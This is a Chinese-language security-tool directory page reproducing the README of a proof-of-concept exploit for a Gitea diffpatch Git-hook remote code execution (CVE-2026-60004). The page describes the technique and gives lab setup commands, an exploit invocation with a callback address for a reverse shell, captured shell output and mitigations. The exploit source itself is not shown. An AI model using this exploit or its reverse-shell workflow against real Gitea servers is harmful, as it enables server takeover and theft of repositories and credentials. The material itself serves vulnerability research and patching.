Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-60004 — 针对 CVE-2026-60004 的自动化概念验证漏洞利用,该漏洞是 Gitea diffpatch Git 钩子远程代码执行漏洞,通过植入 post-index-change 钩子以服务账户身份获取反向 shell。 | Kitploit
工具/GitHubGitHub/yym8538/cve-2026-60004
漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用Web安全渗透测试红队远程访问工具Payload 开发
GitHubyym8538/cve-2026-60004

CVE-2026-60004

针对 CVE-2026-60004 的自动化概念验证漏洞利用,该漏洞是 Gitea diffpatch Git 钩子远程代码执行漏洞,通过植入 post-index-change 钩子以服务账户身份获取反向 shell。

11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


概述

CVE-2026-60004 是 Gitea 中的一个 远程代码执行(RCE) 漏洞。 diffpatch API 使用 git apply --cached 应用提供的补丁,该命令本应只操作索引,绝不将文件写入磁盘。 通过发送两次相同的补丁,攻击者强制触发 add/add 冲突,从而激活 Git 的三方合并回退(-3)。该路径会忽略 --cached,并将文件检出到工作树。 由于临时克隆是裸仓库,其工作树根目录就是 $GIT_DIR。因此,一个创建可执行文件 hooks/post-index-change 的补丁会落地一个活跃的 Git 钩子,Git 会在下一次索引更新时自动运行它——以 Gitea 服务账户身份执行命令。 该端点需要仓库写入权限,但注册默认启用,因此任何能够注册并创建仓库的用户都可以访问它。


受影响版本

类别版本
受影响Gitea 1.17 ≤ 版本 ≤ 1.27.0
已修复Gitea 1.27.1 或更高版本

影响

  • 以 Gitea 服务账户(git)身份远程执行代码
  • 访问所有托管的仓库、CI 密钥和数据库凭据

环境

构建并运行存在漏洞的 Gitea 环境。注册保持开放,服务器自带 Git 2.32+,该版本启用了攻击所依赖的 -3 回退。

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
前提条件本实验环境中的状态
Gitea 1.17 – 1.27.01.27.0
服务器上的 Git 2.32+(启用 -3)2.54
开放注册已启用(默认)
仓库写入权限通过自行注册的账户获得

PoC

该漏洞利用由 gitea_exploit.py 完全自动化。给定一个可以创建仓库的账户,它会创建目标仓库,反复提交相同的补丁直到 Git 的 -3 回退触发,并通过内置监听器捕获反向 shell——无需手动设置、构造补丁或计算 blob 哈希。

root@kitploit:~
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

-3 回退仅在特定的时间窗口内触发,因此脚本会循环执行 创建 → 发送 → 发送,直到捕获成功(默认 25 次尝试)。当某次发送阻塞时,说明钩子已触发,监听器会将你带入一个以 git 身份运行的 shell:

root@kitploit:~
[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

选项:

  • --no-listen — 使用你自己的外部 nc 捕获 shell,而不是内置监听器
  • --user / --pw / --repo / --branch — 覆盖默认账户和目标仓库

缓解措施

  • 将 Gitea 升级到 1.27.1 或更高版本
  • 如果不需要,禁用开放注册(DISABLE_REGISTRATION=true)
  • 限制可以访问该实例并创建仓库的人员

分析

  • KR:即将推出!
  • EN:
下载工具